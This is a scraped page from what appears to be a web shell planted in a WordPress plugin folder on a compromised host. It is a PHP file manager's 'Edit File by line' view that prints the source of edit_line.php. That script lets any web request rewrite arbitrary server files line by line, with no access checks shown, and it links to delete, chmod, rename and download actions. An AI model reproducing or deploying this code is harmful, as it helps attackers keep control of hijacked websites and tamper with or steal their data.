Edit File by line
/home/barbar84/public_h.../wp-conte.../plugins/sujqvwi/AnonR/anonr.TX.../proc/self/root/proc/self/cwd
File: edit_line.php
<?php
[0] Fix | Delete
[1] Fix | Delete
[2] Fix | Delete
[3] Fix | Delete
[4] Fix | Delete
include_once 'function.php';
[5] Fix | Delete
[6] Fix | Delete
[7] Fix | Delete
$title = 'Fix dòng';
[8] Fix | Delete
$page = array('current' => 0, 'paramater_0' => null, 'paramater_1' => null);
[9] Fix | Delete
$page['current'] = isset($_GET['page']) ? intval($_GET['page']) : 1;
[10] Fix | Delete
$page['current'] = $page['current'] <= 0 ? 1 : $page['current'];
[11] Fix | Delete
[12] Fix | Delete
include_once 'header.php';
[13] Fix | Delete
[14] Fix | Delete
echo '<div class="title">' . $title . '</div>';
[15] Fix | Delete
[16] Fix | Delete
if ($dir == null || $name == null || !is_file(processDirectory($dir . '/' . $name))) {
[17] Fix | Delete
echo '<div class="list"><span>The path does not exist</span></div>
[18] Fix | Delete
<div class="title">Function</div>
[19] Fix | Delete
<ul class="list">
[20] Fix | Delete
<li><img src="icon/list.png"/> <a href="index.php' . $pages['paramater_0'] . '">List</a></li>
[21] Fix | Delete
</ul>';
[22] Fix | Delete
} else if (!isFormatText($name) && !isFormatUnknown($name)) {
[23] Fix | Delete
echo '<div class="list"><span>This file is not in text format</span></div>
[24] Fix | Delete
<div class="title">Function</div>
[25] Fix | Delete
<ul class="list">
[26] Fix | Delete
<li><img src="icon/list.png"/> <a href="index.php?dir=' . $dirEncode . $pages['paramater_1'] . '">List</a></li>
[27] Fix | Delete
</ul>';
[28] Fix | Delete
} else {
[29] Fix | Delete
function process()
[30] Fix | Delete
{
[31] Fix | Delete
global $content, $lines, $count, $path;
[32] Fix | Delete
[33] Fix | Delete
$content = file_get_contents($path);
[34] Fix | Delete
[35] Fix | Delete
if (strlen($content) > 0) {
[36] Fix | Delete
$content = str_replace("\r\n", "\n", $content);
[37] Fix | Delete
$content = str_replace("\r", "\n", $content);
[38] Fix | Delete
[39] Fix | Delete
if (strpos($content, "\n") !== false)
[40] Fix | Delete
$lines = explode("\n", $content);
[41] Fix | Delete
else
[42] Fix | Delete
$lines[] = $content;
[43] Fix | Delete
} else {
[44] Fix | Delete
$lines[] = $content;
[45] Fix | Delete
}
[46] Fix | Delete
[47] Fix | Delete
$count = count($lines);
[48] Fix | Delete
}
[49] Fix | Delete
[50] Fix | Delete
$path = $dir . '/' . $name;
[51] Fix | Delete
$line = isset($_GET['line']) ? intval($_GET['line']) : 0;
[52] Fix | Delete
$lines = array();
[53] Fix | Delete
$content = null;
[54] Fix | Delete
$notice = null;
[55] Fix | Delete
$count = 0;
[56] Fix | Delete
[57] Fix | Delete
if ($page['current'] > 1) {
[58] Fix | Delete
$page['paramater_0'] = '?page=' . $page['current'];
[59] Fix | Delete
$page['paramater_1'] = '&page=' . $page['current'];
[60] Fix | Delete
}
[61] Fix | Delete
[62] Fix | Delete
process();
[63] Fix | Delete
[64] Fix | Delete
if (isset($_POST['continue']) || isset($_POST['save'])) {
[65] Fix | Delete
$data = null;
[66] Fix | Delete
$con = $_POST['content'];
[67] Fix | Delete
[68] Fix | Delete
if ($con != null && !empty($con)) {
[69] Fix | Delete
$con = str_replace("\r\n", "\n", $con);
[70] Fix | Delete
$con = str_replace("\r", "\n", $con);
[71] Fix | Delete
}
[72] Fix | Delete
[73] Fix | Delete
if ($count > 1) {
[74] Fix | Delete
if ($line > 0) {
[75] Fix | Delete
for ($i = 0; $i < $line; ++$i)
[76] Fix | Delete
$data .= $lines[$i] . "\n";
[77] Fix | Delete
}
[78] Fix | Delete
[79] Fix | Delete
$data .= $con;
[80] Fix | Delete
[81] Fix | Delete
if ($line < $count - 1) {
[82] Fix | Delete
for ($i = ($line + 1); $i < $count; ++$i)
[83] Fix | Delete
$data .= "\n" . $lines[$i];
[84] Fix | Delete
}
[85] Fix | Delete
} else {
[86] Fix | Delete
$data = $con;
[87] Fix | Delete
}
[88] Fix | Delete
[89] Fix | Delete
if (file_put_contents($path, $data)) {
[90] Fix | Delete
$notice = '<div class="notice_succeed">Lưu lại successfully</div>';
[91] Fix | Delete
[92] Fix | Delete
if (isset($_POST['save']))
[93] Fix | Delete
goURL('edit_text_line.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . $page['paramater_1'] . '#line_number_' . $line);
[94] Fix | Delete
} else {
[95] Fix | Delete
$notice = '<div class="notice_failure">Lưu lại failure</div>';
[96] Fix | Delete
}
[97] Fix | Delete
[98] Fix | Delete
process();
[99] Fix | Delete
}
[100] Fix | Delete
[101] Fix | Delete
$isGO = false;
[102] Fix | Delete
[103] Fix | Delete
if (isset($_POST['go']) && !empty($_POST['line']) && preg_match('#\\b[0-9]+\\b#', $_POST['line'])) {
[104] Fix | Delete
$li = intval($_POST['line']);
[105] Fix | Delete
[106] Fix | Delete
if ($li >= 0 && $li <= $count - 1) {
[107] Fix | Delete
$line = $li;
[108] Fix | Delete
$isGO = true;
[109] Fix | Delete
}
[110] Fix | Delete
}
[111] Fix | Delete
[112] Fix | Delete
if ($line < 0)
[113] Fix | Delete
goURL('edit_line.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '&line=0' . $page['paramater_1']);
[114] Fix | Delete
[115] Fix | Delete
if ($line > $count - 1)
[116] Fix | Delete
goURL('edit_line.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '&line=' . ($count - 1) . $page['paramater_1']);
[117] Fix | Delete
[118] Fix | Delete
$page['current'] = $line + 1 > $configs['page_file_edit_line'] ? ceil(($line + 1) / $configs['page_file_edit_line']) : 1;
[119] Fix | Delete
[120] Fix | Delete
if ($page['current'] > 1) {
[121] Fix | Delete
$page['paramater_0'] = '?page=' . $page['current'];
[122] Fix | Delete
$page['paramater_1'] = '&page=' . $page['current'];
[123] Fix | Delete
}
[124] Fix | Delete
[125] Fix | Delete
if ($isGO)
[126] Fix | Delete
goURL('edit_line.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '&line=' . $line . $page['paramater_1']);
[127] Fix | Delete
[128] Fix | Delete
$url = array('action' => null, 'prev' => null, 'next' => null);
[129] Fix | Delete
$url['action'] = 'edit_line.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '&line=' . $line . $page['paramater_1'] . '#line_label';
[130] Fix | Delete
$url['prev'] = $line > 0 ? '<a href="edit_line.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '&line=' . ($line - 1) . ($configs['page_file_edit_line'] > 0 && $line <= $configs['page_file_edit_line'] ? null : '&page=' . ceil($line / $configs['page_file_edit_line'])) . '#line_label"><img src="icon/arrow_left.png"/></a>' : '<img src="icon/arrow_left.png"/>';
[131] Fix | Delete
$url['next'] = $line < $count - 1 ? '<a href="edit_line.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '&line=' . ($line + 1) . ($configs['page_file_edit_line'] > 0 && $line <= $configs['page_file_edit_line'] ? null : '&page=' . ceil(($line + 2) / $configs['page_file_edit_line'])) . '#line_label"><img src="icon/arrow_right.png"/></a>' : '<img src="icon/arrow_right.png"/>';
[132] Fix | Delete
[133] Fix | Delete
echo $notice;
[134] Fix | Delete
echo '<div class="list">
[135] Fix | Delete
<span class="bull">&bull; </span><span>' . printPath($dir, true) . '</span><hr/>
[136] Fix | Delete
<div class="ellipsis break-word">
[137] Fix | Delete
<span class="bull">&bull; </span>File: <strong class="file_name_edit">' . $name . '</strong>
[138] Fix | Delete
</div><hr/>
[139] Fix | Delete
<form action="edit_line.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '&line=' . $line . $page['paramater_1'] . '#line_label" method="post">
[140] Fix | Delete
<span class="bull" id="line_label">&bull; </span>Dòng [<strong class="line_number_form">' . $line . '</strong>/<strong class="line_number_form">' . ($count - 1) . '</strong>]:<br/>
[141] Fix | Delete
<div class="parent_box_edit">
[142] Fix | Delete
<textarea class="box_edit_normal" name="content" rows="10">' . htmlspecialchars($lines[$line]) . '</textarea>
[143] Fix | Delete
</div>
[144] Fix | Delete
<div style="margin-left: -4px">
[145] Fix | Delete
<input type="submit" name="continue" value="Tiếp tục"/>
[146] Fix | Delete
<input type="submit" name="save" value="Lưu"/>
[147] Fix | Delete
<a href="delete_line.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '&line=' . $line . $page['paramater_1'] . '" id="href_line_edit">Delete</a>
[148] Fix | Delete
</div>
[149] Fix | Delete
</form><hr/>
[150] Fix | Delete
<form action="' . $url['action'] . '" method="post">
[151] Fix | Delete
<table id="action_page">
[152] Fix | Delete
<tr>
[153] Fix | Delete
<td id="prev">' . $url['prev'] . '</td>
[154] Fix | Delete
<td id="input">
[155] Fix | Delete
<input type="text" name="line" value="' . $line . '"/>
[156] Fix | Delete
</td>
[157] Fix | Delete
<td id="submit">
[158] Fix | Delete
<input type="submit" name="go" value="Đến"/>
[159] Fix | Delete
</td>
[160] Fix | Delete
<td id="next">' . $url['next'] . '</td>
[161] Fix | Delete
</tr>
[162] Fix | Delete
</table>
[163] Fix | Delete
</form>
[164] Fix | Delete
</div>
[165] Fix | Delete
<div class="tips">
[166] Fix | Delete
<img src="icon/tips.png"/>
[167] Fix | Delete
<span>Ấn tiếp tục để lưu lại ở lại trang và ấn lưu để lưu lại và quay về List dòng</span>
[168] Fix | Delete
</div>
[169] Fix | Delete
<div class="title">Function</div>
[170] Fix | Delete
<ul class="list">
[171] Fix | Delete
<li><img src="icon/delete.png"/> <a href="delete_line.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '&line=' . $line . $page['paramater_1'] . '">Delete dòng</a></li>
[172] Fix | Delete
<li><img src="icon/edit_text_line.png"/> <a href="edit_text_line.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . $page['paramater_1'] . '#line_number_' . $line . '">Edit by line</a></li>
[173] Fix | Delete
<li><img src="icon/edit.png"/> <a href="edit_text.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '">Edit text</a></li>
[174] Fix | Delete
<li><img src="icon/download.png"/> <a href="file_download.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '">Download</a></li>
[175] Fix | Delete
<li><img src="icon/info.png"/> <a href="file.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '">Information</a></li>
[176] Fix | Delete
<li><img src="icon/rename.png"/> <a href="file_rename.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '">Rename</a></li>
[177] Fix | Delete
<li><img src="icon/copy.png"/> <a href="file_copy.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '">Copy</a></li>
[178] Fix | Delete
<li><img src="icon/Copy.png"/> <a href="file_Copy.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '">Move</a></li>
[179] Fix | Delete
<li><img src="icon/delete.png"/> <a href="file_delete.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '">Delete</a></li>
[180] Fix | Delete
<li><img src="icon/access.png"/> <a href="file_chmod.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '">Chmod</a></li>
[181] Fix | Delete
<li><img src="icon/list.png"/> <a href="index.php?dir=' . $dirEncode . $pages['paramater_1'] . '">List</a></li>
[182] Fix | Delete
</ul>';
[183] Fix | Delete
}
[184] Fix | Delete
[185] Fix | Delete
[186] Fix | Delete
include_once 'footer.php';
[187] Fix | Delete
[188] Fix | Delete
?>
[189] Fix | Delete
It is recommended that you Edit text format, this type of Fix handles quite a lot in one request
Function